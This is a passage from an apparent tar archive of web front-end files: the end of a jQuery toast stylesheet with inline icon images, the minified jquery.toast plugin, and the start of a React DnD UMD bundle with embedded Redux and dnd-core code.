77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII=);background-color:#8a6d3b;color:#fcf8e3;border-color:#faebcc}.jq-icon-error{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII=);background-color:#a94442;color:#f2dede;border-color:#ebccd1}.jq-icon-success{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg==);color:#dff0d8;background-color:#3c763d;border-color:#d6e9c6}jquery.toast.min.js000064400000014277151677306050010361 0ustar00"function"!=typeof Object.create&&(Object.create=function(t){function o(){}return o.prototype=t,new o}),function(t,o,i,s){"use strict";var n={_positionClasses:["bottom-left","bottom-right","top-right","top-left","bottom-center","top-center","mid-center"],_defaultIcons:["success","error","info","warning"],init:function(o,i){this.prepareOptions(o,t.toast.options),this.process()},prepareOptions:function(o,i){var s={};"string"==typeof o||o instanceof Array?s.text=o:s=o,this.options=t.extend({},i,s)},process:function(){this.setup(),this.addToDom(),this.position(),this.bindToast(),this.animate()},setup:function(){var o="";if(this._toastEl=this._toastEl||t("<div></div>",{"class":"jq-toast-single"}),o+='<span class="jq-toast-loader"></span>',this.options.allowToastClose&&(o+='<span class="close-jq-toast-single">×</span>'),this.options.text instanceof Array){this.options.heading&&(o+='<h2 class="jq-toast-heading">'+this.options.heading+"</h2>"),o+='<ul class="jq-toast-ul">';for(var i=0;i<this.options.text.length;i++)o+='<li class="jq-toast-li" id="jq-toast-item-'+i+'">'+this.options.text[i]+"</li>";o+="</ul>"}else this.options.heading&&(o+='<h2 class="jq-toast-heading">'+this.options.heading+"</h2>"),o+=this.options.text;this._toastEl.html(o),this.options.bgColor!==!1&&this._toastEl.css("background-color",this.options.bgColor),this.options.textColor!==!1&&this._toastEl.css("color",this.options.textColor),this.options.textAlign&&this._toastEl.css("text-align",this.options.textAlign),this.options.icon!==!1&&(this._toastEl.addClass("jq-has-icon"),-1!==t.inArray(this.options.icon,this._defaultIcons)&&this._toastEl.addClass("jq-icon-"+this.options.icon)),this.options["class"]!==!1&&this._toastEl.addClass(this.options["class"])},position:function(){"string"==typeof this.options.position&&-1!==t.inArray(this.options.position,this._positionClasses)?"bottom-center"===this.options.position?this._container.css({left:t(o).outerWidth()/2-this._container.outerWidth()/2,bottom:20}):"top-center"===this.options.position?this._container.css({left:t(o).outerWidth()/2-this._container.outerWidth()/2,top:20}):"mid-center"===this.options.position?this._container.css({left:t(o).outerWidth()/2-this._container.outerWidth()/2,top:t(o).outerHeight()/2-this._container.outerHeight()/2}):this._container.addClass(this.options.position):"object"==typeof this.options.position?this._container.css({top:this.options.position.top?this.options.position.top:"auto",bottom:this.options.position.bottom?this.options.position.bottom:"auto",left:this.options.position.left?this.options.position.left:"auto",right:this.options.position.right?this.options.position.right:"auto"}):this._container.addClass("bottom-left")},bindToast:function(){var t=this;this._toastEl.on("afterShown",function(){t.processLoader()}),this._toastEl.find(".close-jq-toast-single").on("click",function(o){o.preventDefault(),"fade"===t.options.showHideTransition?(t._toastEl.trigger("beforeHide"),t._toastEl.fadeOut(function(){t._toastEl.trigger("afterHidden")})):"slide"===t.options.showHideTransition?(t._toastEl.trigger("beforeHide"),t._toastEl.slideUp(function(){t._toastEl.trigger("afterHidden")})):(t._toastEl.trigger("beforeHide"),t._toastEl.hide(function(){t._toastEl.trigger("afterHidden")}))}),"function"==typeof this.options.beforeShow&&this._toastEl.on("beforeShow",function(){t.options.beforeShow()}),"function"==typeof this.options.afterShown&&this._toastEl.on("afterShown",function(){t.options.afterShown()}),"function"==typeof this.options.beforeHide&&this._toastEl.on("beforeHide",function(){t.options.beforeHide()}),"function"==typeof this.options.afterHidden&&this._toastEl.on("afterHidden",function(){t.options.afterHidden()})},addToDom:function(){var o=t(".jq-toast-wrap");if(0===o.length?(o=t("<div></div>",{"class":"jq-toast-wrap"}),t("body").append(o)):(!this.options.stack||isNaN(parseInt(this.options.stack,10)))&&o.empty(),o.find(".jq-toast-single:hidden").remove(),o.append(this._toastEl),this.options.stack&&!isNaN(parseInt(this.options.stack),10)){var i=o.find(".jq-toast-single").length,s=i-this.options.stack;s>0&&t(".jq-toast-wrap").find(".jq-toast-single").slice(0,s).remove()}this._container=o},canAutoHide:function(){return this.options.hideAfter!==!1&&!isNaN(parseInt(this.options.hideAfter,10))},processLoader:function(){if(!this.canAutoHide()||this.options.loader===!1)return!1;var t=this._toastEl.find(".jq-toast-loader"),o=(this.options.hideAfter-400)/1e3+"s",i=this.options.loaderBg,s=t.attr("style")||"";s=s.substring(0,s.indexOf("-webkit-transition")),s+="-webkit-transition: width "+o+" ease-in; -o-transition: width "+o+" ease-in; transition: width "+o+" ease-in; background-color: "+i+";",t.attr("style",s).addClass("jq-toast-loaded")},animate:function(){var t=this;if(this._toastEl.hide(),this._toastEl.trigger("beforeShow"),"fade"===this.options.showHideTransition.toLowerCase()?this._toastEl.fadeIn(function(){t._toastEl.trigger("afterShown")}):"slide"===this.options.showHideTransition.toLowerCase()?this._toastEl.slideDown(function(){t._toastEl.trigger("afterShown")}):this._toastEl.show(function(){t._toastEl.trigger("afterShown")}),this.canAutoHide()){var t=this;o.setTimeout(function(){"fade"===t.options.showHideTransition.toLowerCase()?(t._toastEl.trigger("beforeHide"),t._toastEl.fadeOut(function(){t._toastEl.trigger("afterHidden")})):"slide"===t.options.showHideTransition.toLowerCase()?(t._toastEl.trigger("beforeHide"),t._toastEl.slideUp(function(){t._toastEl.trigger("afterHidden")})):(t._toastEl.trigger("beforeHide"),t._toastEl.hide(function(){t._toastEl.trigger("afterHidden")}))},this.options.hideAfter)}},reset:function(o){"all"===o?t(".jq-toast-wrap").remove():this._toastEl.remove()},update:function(t){this.prepareOptions(t,this.options),this.setup(),this.bindToast()}};t.toast=function(t){var o=Object.create(n);return o.init(t,this),{reset:function(t){o.reset(t)},update:function(t){o.update(t)}}},t.toast.options={text:"",heading:"",showHideTransition:"fade",allowToastClose:!0,hideAfter:3e3,loader:!0,loaderBg:"#9EC600",stack:5,position:"bottom-left",bgColor:!1,textColor:!1,textAlign:"left",icon:!1,beforeShow:function(){},afterShown:function(){},beforeHide:function(){},afterHidden:function(){}}}(jQuery,window,document);umd/ReactDnD.js000064400000532472151677306070007344 0ustar00(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('react')) : typeof define === 'function' && define.amd ? define(['exports', 'react'], factory) : (global = global || self, factory(global.ReactDnD = {}, global.React)); }(this, (function (exports, React) { 'use strict'; var HandlerRole; (function (HandlerRole) { HandlerRole["SOURCE"] = "SOURCE"; HandlerRole["TARGET"] = "TARGET"; })(HandlerRole || (HandlerRole = {})); function symbolObservablePonyfill(root) { var result; var Symbol = root.Symbol; if (typeof Symbol === 'function') { if (Symbol.observable) { result = Symbol.observable; } else { result = Symbol('observable'); Symbol.observable = result; } } else { result = '@@observable'; } return result; } /* global window */ var root; if (typeof self !== 'undefined') { root = self; } else if (typeof window !== 'undefined') { root = window; } else if (typeof global !== 'undefined') { root = global; } else if (typeof module !== 'undefined') { root = module; } else { root = Function('return this')(); } var result = symbolObservablePonyfill(root); /** * These are private action types reserved by Redux. * For any unknown actions, you must return the current state. * If the current state is undefined, you must return the initial state. * Do not reference these action types directly in your code. */ var randomString = function randomString() { return Math.random().toString(36).substring(7).split('').join('.'); }; var ActionTypes = { INIT: "@@redux/INIT" + randomString(), REPLACE: "@@redux/REPLACE" + randomString(), PROBE_UNKNOWN_ACTION: function PROBE_UNKNOWN_ACTION() { return "@@redux/PROBE_UNKNOWN_ACTION" + randomString(); } }; /** * @param {any} obj The object to inspect. * @returns {boolean} True if the argument appears to be a plain object. */ function isPlainObject(obj) { if (typeof obj !== 'object' || obj === null) return false; var proto = obj; while (Object.getPrototypeOf(proto) !== null) { proto = Object.getPrototypeOf(proto); } return Object.getPrototypeOf(obj) === proto; } /** * Creates a Redux store that holds the state tree. * The only way to change the data in the store is to call `dispatch()` on it. * * There should only be a single store in your app. To specify how different * parts of the state tree respond to actions, you may combine several reducers * into a single reducer function by using `combineReducers`. * * @param {Function} reducer A function that returns the next state tree, given * the current state tree and the action to handle. * * @param {any} [preloadedState] The initial state. You may optionally specify it * to hydrate the state from the server in universal apps, or to restore a * previously serialized user session. * If you use `combineReducers` to produce the root reducer function, this must be * an object with the same shape as `combineReducers` keys. * * @param {Function} [enhancer] The store enhancer. You may optionally specify it * to enhance the store with third-party capabilities such as middleware, * time travel, persistence, etc. The only store enhancer that ships with Redux * is `applyMiddleware()`. * * @returns {Store} A Redux store that lets you read the state, dispatch actions * and subscribe to changes. */ function createStore(reducer, preloadedState, enhancer) { var _ref2; if (typeof preloadedState === 'function' && typeof enhancer === 'function' || typeof enhancer === 'function' && typeof arguments[3] === 'function') { throw new Error('It looks like you are passing several store enhancers to ' + 'createStore(). This is not supported. Instead, compose them ' + 'together to a single function.'); } if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') { enhancer = preloadedState; preloadedState = undefined; } if (typeof enhancer !== 'undefined') { if (typeof enhancer !== 'function') { throw new Error('Expected the enhancer to be a function.'); } return enhancer(createStore)(reducer, preloadedState); } if (typeof reducer !== 'function') { throw new Error('Expected the reducer to be a function.'); } var currentReducer = reducer; var currentState = preloadedState; var currentListeners = []; var nextListeners = currentListeners; var isDispatching = false; /** * This makes a shallow copy of currentListeners so we can use * nextListeners as a temporary list while dispatching. * * This prevents any bugs around consumers calling * subscribe/unsubscribe in the middle of a dispatch. */ function ensureCanMutateNextListeners() { if (nextListeners === currentListeners) { nextListeners = currentListeners.slice(); } } /** * Reads the state tree managed by the store. * * @returns {any} The current state tree of your application. */ function getState() { if (isDispatching) { throw new Error('You may not call store.getState() while the reducer is executing. ' + 'The reducer has already received the state as an argument. ' + 'Pass it down from the top reducer instead of reading it from the store.'); } return currentState; } /** * Adds a change listener. It will be called any time an action is dispatched, * and some part of the state tree may potentially have changed. You may then * call `getState()` to read the current state tree inside the callback. * * You may call `dispatch()` from a change listener, with the following * caveats: * * 1. The subscriptions are snapshotted just before every `dispatch()` call. * If you subscribe or unsubscribe while the listeners are being invoked, this * will not have any effect on the `dispatch()` that is currently in progress. * However, the next `dispatch()` call, whether nested or not, will use a more * recent snapshot of the subscription list. * * 2. The listener should not expect to see all state changes, as the state * might have been updated multiple times during a nested `dispatch()` before * the listener is called. It is, however, guaranteed that all subscribers * registered before the `dispatch()` started will be called with the latest * state by the time it exits. * * @param {Function} listener A callback to be invoked on every dispatch. * @returns {Function} A function to remove this change listener. */ function subscribe(listener) { if (typeof listener !== 'function') { throw new Error('Expected the listener to be a function.'); } if (isDispatching) { throw new Error('You may not call store.subscribe() while the reducer is executing. ' + 'If you would like to be notified after the store has been updated, subscribe from a ' + 'component and invoke store.getState() in the callback to access the latest state. ' + 'See https://redux.js.org/api-reference/store#subscribelistener for more details.'); } var isSubscribed = true; ensureCanMutateNextListeners(); nextListeners.push(listener); return function unsubscribe() { if (!isSubscribed) { return; } if (isDispatching) { throw new Error('You may not unsubscribe from a store listener while the reducer is executing. ' + 'See https://redux.js.org/api-reference/store#subscribelistener for more details.'); } isSubscribed = false; ensureCanMutateNextListeners(); var index = nextListeners.indexOf(listener); nextListeners.splice(index, 1); currentListeners = null; }; } /** * Dispatches an action. It is the only way to trigger a state change. * * The `reducer` function, used to create the store, will be called with the * current state tree and the given `action`. Its return value will * be considered the **next** state of the tree, and the change listeners * will be notified. * * The base implementation only supports plain object actions. If you want to * dispatch a Promise, an Observable, a thunk, or something else, you need to * wrap your store creating function into the corresponding middleware. For * example, see the documentation for the `redux-thunk` package. Even the * middleware will eventually dispatch plain object actions using this method. * * @param {Object} action A plain object representing “what changed”. It is * a good idea to keep actions serializable so you can record and replay user * sessions, or use the time travelling `redux-devtools`. An action must have * a `type` property which may not be `undefined`. It is a good idea to use * string constants for action types. * * @returns {Object} For convenience, the same action object you dispatched. * * Note that, if you use a custom middleware, it may wrap `dispatch()` to * return something else (for example, a Promise you can await). */ function dispatch(action) { if (!isPlainObject(action)) { throw new Error('Actions must be plain objects. ' + 'Use custom middleware for async actions.'); } if (typeof action.type === 'undefined') { throw new Error('Actions may not have an undefined "type" property. ' + 'Have you misspelled a constant?'); } if (isDispatching) { throw new Error('Reducers may not dispatch actions.'); } try { isDispatching = true; currentState = currentReducer(currentState, action); } finally { isDispatching = false; } var listeners = currentListeners = nextListeners; for (var i = 0; i < listeners.length; i++) { var listener = listeners[i]; listener(); } return action; } /** * Replaces the reducer currently used by the store to calculate the state. * * You might need this if your app implements code splitting and you want to * load some of the reducers dynamically. You might also need this if you * implement a hot reloading mechanism for Redux. * * @param {Function} nextReducer The reducer for the store to use instead. * @returns {void} */ function replaceReducer(nextReducer) { if (typeof nextReducer !== 'function') { throw new Error('Expected the nextReducer to be a function.'); } currentReducer = nextReducer; // This action has a similiar effect to ActionTypes.INIT. // Any reducers that existed in both the new and old rootReducer // will receive the previous state. This effectively populates // the new state tree with any relevant data from the old one. dispatch({ type: ActionTypes.REPLACE }); } /** * Interoperability point for observable/reactive libraries. * @returns {observable} A minimal observable of state changes. * For more information, see the observable proposal: * https://github.com/tc39/proposal-observable */ function observable() { var _ref; var outerSubscribe = subscribe; return _ref = { /** * The minimal observable subscription method. * @param {Object} observer Any object that can be used as an observer. * The observer object should have a `next` method. * @returns {subscription} An object with an `unsubscribe` method that can * be used to unsubscribe the observable from the store, and prevent further * emission of values from the observable. */ subscribe: function subscribe(observer) { if (typeof observer !== 'object' || observer === null) { throw new TypeError('Expected the observer to be an object.'); } function observeState() { if (observer.next) { observer.next(getState()); } } observeState(); var unsubscribe = outerSubscribe(observeState); return { unsubscribe: unsubscribe }; } }, _ref[result] = function () { return this; }, _ref; } // When a store is created, an "INIT" action is dispatched so that every // reducer returns their initial state. This effectively populates // the initial state tree. dispatch({ type: ActionTypes.INIT }); return _ref2 = { dispatch: dispatch, subscribe: subscribe, getState: getState, replaceReducer: replaceReducer }, _ref2[result] = observable, _ref2; } /** * Prints a warning in the console if it exists. * * @param {String} message The warning message. * @returns {void} */ function warning(message) { /* eslint-disable no-console */ if (typeof console !== 'undefined' && typeof console.error === 'function') { console.error(message); } /* eslint-enable no-console */ try { // This error was thrown as a convenience so that if you enable // "break on all exceptions" in your console, // it would pause the execution at this line. throw new Error(message); } catch (e) {} // eslint-disable-line no-empty } /* * This is a dummy function to check if the function name has been altered by minification. * If the function has been minified and NODE_ENV !== 'production', warn the user. */ function isCrushed() {} if ( typeof isCrushed.name === 'string' && isCrushed.name !== 'isCrushed') { warning('You are currently using minified code outside of NODE_ENV === "production". ' + 'This means that you are running a slower development build of Redux. ' + 'You can use loose-envify (https://github.com/zertosh/loose-envify) for browserify ' + 'or setting mode to production in webpack (https://webpack.js.org/concepts/mode/) ' + 'to ensure you have the correct code for your production build.'); } /** * Use invariant() to assert state which your program assumes to be true. * * Provide sprintf-style format (only %s is supported) and arguments * to provide information about what broke and what you were * expecting. * * The invariant message will be stripped in production, but the invariant * will remain to ensure logic does not differ in production. */ function invariant(condition, format) { for (var _len = arguments.length, args = new Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) { args[_key - 2] = arguments[_key]; } { if (format === undefined) { throw new Error('invariant requires an error message argument'); } } if (!condition) { var error; if (format === undefined) { error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.'); } else { var argIndex = 0; error = new Error(format.replace(/%s/g, function () { return args[argIndex++]; })); error.name = 'Invariant Violation'; } error.framesToPop = 1; // we don't care about invariant's own frame throw error; } } var INIT_COORDS = 'dnd-core/INIT_COORDS'; var BEGIN_DRAG = 'dnd-core/BEGIN_DRAG'; var PUBLISH_DRAG_SOURCE = 'dnd-core/PUBLISH_DRAG_SOURCE'; var HOVER = 'dnd-core/HOVER'; var DROP = 'dnd-core/DROP'; var END_DRAG = 'dnd-core/END_DRAG'; function setClientOffset(clientOffset, sourceClientOffset) { return { type: INIT_COORDS, payload: { sourceClientOffset: sourceClientOffset || null, clientOffset: clientOffset || null } }; } function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } // cheap lodash replacements /** * drop-in replacement for _.get * @param obj * @param path * @param defaultValue */ function get(obj, path, defaultValue) { return path.split('.').reduce(function (a, c) { return a && a[c] ? a[c] : defaultValue || null; }, obj); } /** * drop-in replacement for _.without */ function without(items, item) { return items.filter(function (i) { return i !== item; }); } /** * drop-in replacement for _.isString * @param input */ function isObject(input) { return _typeof(input) === 'object'; } /** * repalcement for _.xor * @param itemsA * @param itemsB */ function xor(itemsA, itemsB) { var map = new Map(); var insertItem = function insertItem(item) { map.set(item, map.has(item) ? map.get(item) + 1 : 1); }; itemsA.forEach(insertItem); itemsB.forEach(insertItem); var result = []; map.forEach(function (count, key) { if (count === 1) { result.push(key); } }); return result; } /** * replacement for _.intersection * @param itemsA * @param itemsB */ function intersection(itemsA, itemsB) { return itemsA.filter(function (t) { return itemsB.indexOf(t) > -1; }); } var ResetCoordinatesAction = { type: INIT_COORDS, payload: { clientOffset: null, sourceClientOffset: null } }; function createBeginDrag(manager) { return function beginDrag() { var sourceIds = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : []; var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : { publishSource: true }; var _options$publishSourc = options.publishSource, publishSource = _options$publishSourc === void 0 ? true : _options$publishSourc, clientOffset = options.clientOffset, getSourceClientOffset = options.getSourceClientOffset; var monitor = manager.getMonitor(); var registry = manager.getRegistry(); // Initialize the coordinates using the client offset manager.dispatch(setClientOffset(clientOffset)); verifyInvariants(sourceIds, monitor, registry); // Get the draggable source var sourceId = getDraggableSource(sourceIds, monitor); if (sourceId === null) { manager.dispatch(ResetCoordinatesAction); return; } // Get the source client offset var sourceClientOffset = null; if (clientOffset) { if (!getSourceClientOffset) { throw new Error('getSourceClientOffset must be defined'); } verifyGetSourceClientOffsetIsFunction(getSourceClientOffset); sourceClientOffset = getSourceClientOffset(sourceId); } // Initialize the full coordinates manager.dispatch(setClientOffset(clientOffset, sourceClientOffset)); var source = registry.getSource(sourceId); var item = source.beginDrag(monitor, sourceId); verifyItemIsObject(item); registry.pinSource(sourceId); var itemType = registry.getSourceType(sourceId); return { type: BEGIN_DRAG, payload: { itemType: itemType, item: item, sourceId: sourceId, clientOffset: clientOffset || null, sourceClientOffset: sourceClientOffset || null, isSourcePublic: !!publishSource } }; }; } function verifyInvariants(sourceIds, monitor, registry) { invariant(!monitor.isDragging(), 'Cannot call beginDrag while dragging.'); sourceIds.forEach(function (sourceId) { invariant(registry.getSource(sourceId), 'Expected sourceIds to be registered.'); }); } function verifyGetSourceClientOffsetIsFunction(getSourceClientOffset) { invariant(typeof getSourceClientOffset === 'function', 'When clientOffset is provided, getSourceClientOffset must be a function.'); } function verifyItemIsObject(item) { invariant(isObject(item), 'Item must be an object.'); } function getDraggableSource(sourceIds, monitor) { var sourceId = null; for (var i = sourceIds.length - 1; i >= 0; i--) { if (monitor.canDragSource(sourceIds[i])) { sourceId = sourceIds[i]; break; } } return sourceId; } function createPublishDragSource(manager) { return function publishDragSource() { var monitor = manager.getMonitor(); if (monitor.isDragging()) { return { type: PUBLISH_DRAG_SOURCE }; } }; } function matchesType(targetType, draggedItemType) { if (draggedItemType === null) { return targetType === null; } return Array.isArray(targetType) ? targetType.some(function (t) { return t === draggedItemType; }) : targetType === draggedItemType; } function createHover(manager) { return function hover(targetIdsArg) { var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}, clientOffset = _ref.clientOffset; verifyTargetIdsIsArray(targetIdsArg); var targetIds = targetIdsArg.slice(0); var monitor = manager.getMonitor(); var registry = manager.getRegistry(); checkInvariants(targetIds, monitor, registry); var draggedItemType = monitor.getItemType(); removeNonMatchingTargetIds(targetIds, registry, draggedItemType); hoverAllTargets(targetIds, monitor, registry); return { type: HOVER, payload: { targetIds: targetIds, clientOffset: clientOffset || null } }; }; } function verifyTargetIdsIsArray(targetIdsArg) { invariant(Array.isArray(targetIdsArg), 'Expected targetIds to be an array.'); } function checkInvariants(targetIds, monitor, registry) { invariant(monitor.isDragging(), 'Cannot call hover while not dragging.'); invariant(!monitor.didDrop(), 'Cannot call hover after drop.'); for (var i = 0; i < targetIds.length; i++) { var targetId = targetIds[i]; invariant(targetIds.lastIndexOf(targetId) === i, 'Expected targetIds to be unique in the passed array.'); var target = registry.getTarget(targetId); invariant(target, 'Expected targetIds to be registered.'); } } function removeNonMatchingTargetIds(targetIds, registry, draggedItemType) { // Remove those targetIds that don't match the targetType. This // fixes shallow isOver which would only be non-shallow because of // non-matching targets. for (var i = targetIds.length - 1; i >= 0; i--) { var targetId = targetIds[i]; var targetType = registry.getTargetType(targetId); if (!matchesType(targetType, draggedItemType)) { targetIds.splice(i, 1); } } } function hoverAllTargets(targetIds, monitor, registry) { // Finally call hover on all matching targets. targetIds.forEach(function (targetId) { var target = registry.getTarget(targetId); target.hover(monitor, targetId); }); } function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function createDrop(manager) { return function drop() { var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var monitor = manager.getMonitor(); var registry = manager.getRegistry(); verifyInvariants$1(monitor); var targetIds = getDroppableTargets(monitor); // Multiple actions are dispatched here, which is why this doesn't return an action targetIds.forEach(function (targetId, index) { var dropResult = determineDropResult(targetId, index, registry, monitor); var action = { type: DROP, payload: { dropResult: _objectSpread(_objectSpread({}, options), dropResult) } }; manager.dispatch(action); }); }; } function verifyInvariants$1(monitor) { invariant(monitor.isDragging(), 'Cannot call drop while not dragging.'); invariant(!monitor.didDrop(), 'Cannot call drop twice during one drag operation.'); } function determineDropResult(targetId, index, registry, monitor) { var target = registry.getTarget(targetId); var dropResult = target ? target.drop(monitor, targetId) : undefined; verifyDropResultType(dropResult); if (typeof dropResult === 'undefined') { dropResult = index === 0 ? {} : monitor.getDropResult(); } return dropResult; } function verifyDropResultType(dropResult) { invariant(typeof dropResult === 'undefined' || isObject(dropResult), 'Drop result must either be an object or undefined.'); } function getDroppableTargets(monitor) { var targetIds = monitor.getTargetIds().filter(monitor.canDropOnTarget, monitor); targetIds.reverse(); return targetIds; } function createEndDrag(manager) { return function endDrag() { var monitor = manager.getMonitor(); var registry = manager.getRegistry(); verifyIsDragging(monitor); var sourceId = monitor.getSourceId(); if (sourceId != null) { var source = registry.getSource(sourceId, true); source.endDrag(monitor, sourceId); registry.unpinSource(); } return { type: END_DRAG }; }; } function verifyIsDragging(monitor) { invariant(monitor.isDragging(), 'Cannot call endDrag while not dragging.'); } function createDragDropActions(manager) { return { beginDrag: createBeginDrag(manager), publishDragSource: createPublishDragSource(manager), hover: createHover(manager), drop: createDrop(manager), endDrag: createEndDrag(manager) }; } var strictEquality = function strictEquality(a, b) { return a === b; }; /** * Determine if two cartesian coordinate offsets are equal * @param offsetA * @param offsetB */ function areCoordsEqual(offsetA, offsetB) { if (!offsetA && !offsetB) { return true; } else if (!offsetA || !offsetB) { return false; } else { return offsetA.x === offsetB.x && offsetA.y === offsetB.y; } } /** * Determines if two arrays of items are equal * @param a The first array of items * @param b The second array of items */ function areArraysEqual(a, b) { var isEqual = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : strictEquality; if (a.length !== b.length) { return false; } for (var i = 0; i < a.length; ++i) { if (!isEqual(a[i], b[i])) { return false; } } return true; } function ownKeys$1(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; } function _objectSpread$1(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys$1(Object(source), true).forEach(function (key) { _defineProperty$1(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys$1(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _defineProperty$1(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var initialState = { initialSourceClientOffset: null, initialClientOffset: null, clientOffset: null }; function reduce() { var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : initialState; var action = arguments.length > 1 ? arguments[1] : undefined; var payload = action.payload; switch (action.type) { case INIT_COORDS: case BEGIN_DRAG: return { initialSourceClientOffset: payload.sourceClientOffset, initialClientOffset: payload.clientOffset, clientOffset: payload.clientOffset }; case HOVER: if (areCoordsEqual(state.clientOffset, payload.clientOffset)) { return state; } return _objectSpread$1(_objectSpread$1({}, state), {}, { clientOffset: payload.clientOffset }); case END_DRAG: case DROP: return initialState; default: return state; } } var ADD_SOURCE = 'dnd-core/ADD_SOURCE'; var ADD_TARGET = 'dnd-core/ADD_TARGET'; var REMOVE_SOURCE = 'dnd-core/REMOVE_SOURCE'; var REMOVE_TARGET = 'dnd-core/REMOVE_TARGET'; function addSource(sourceId) { return { type: ADD_SOURCE, payload: { sourceId: sourceId } }; } function addTarget(targetId) { return { type: ADD_TARGET, payload: { targetId: targetId } }; } function removeSource(sourceId) { return { type: REMOVE_SOURCE, payload: { sourceId: sourceId } }; } function removeTarget(targetId) { return { type: REMOVE_TARGET, payload: { targetId: targetId } }; } function ownKeys$2(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; } function _objectSpread$2(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys$2(Object(source), true).forEach(function (key) { _defineProperty$2(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys$2(Object(source)).forEach(function 